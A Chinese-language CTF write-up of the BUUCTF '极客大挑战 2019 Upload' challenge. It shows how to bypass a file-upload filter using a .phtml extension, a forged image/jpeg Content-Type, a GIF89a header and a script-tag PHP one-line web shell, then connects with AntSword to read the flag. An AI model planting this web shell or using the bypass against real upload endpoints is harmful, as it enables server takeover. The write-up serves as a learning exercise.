BUUCTF [极客大挑战 2019] Upload
考点:
- 文件后缀绕过
- 文件类型
Content-Type
绕过 - 一句话木马
<?
绕过
启动环境:
有上传头像的地方,首先上传正常图片测试:
上传了一张.jpg
格式的文件,也显示不是图片
后续测试.php
、.txt
都不行,可能不止限制了文件后缀,使用BurpSuite抓取数据包:
其中两条属性:
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
- 将文件名修改为
test.phtml
,绕过常规php文件后缀检测 - 将文件类型修改为:
image/jpeg
发送数据包,得到回显:
查阅资料,可以通过:
GIF89a?
<script language="php">eval($_REQUEST[shell])</script>
该方式绕过<?
的检测:参考资料
重新使用BurpSuite抓取数据包并修改为:
得到上传成功的回显:
使用蚁剑连接:
原目录下找不到test.phtml
,猜测传入文件的路径,最终测试到:/upload/
为文件目录,蚁剑连接:
在/
目录找到flag: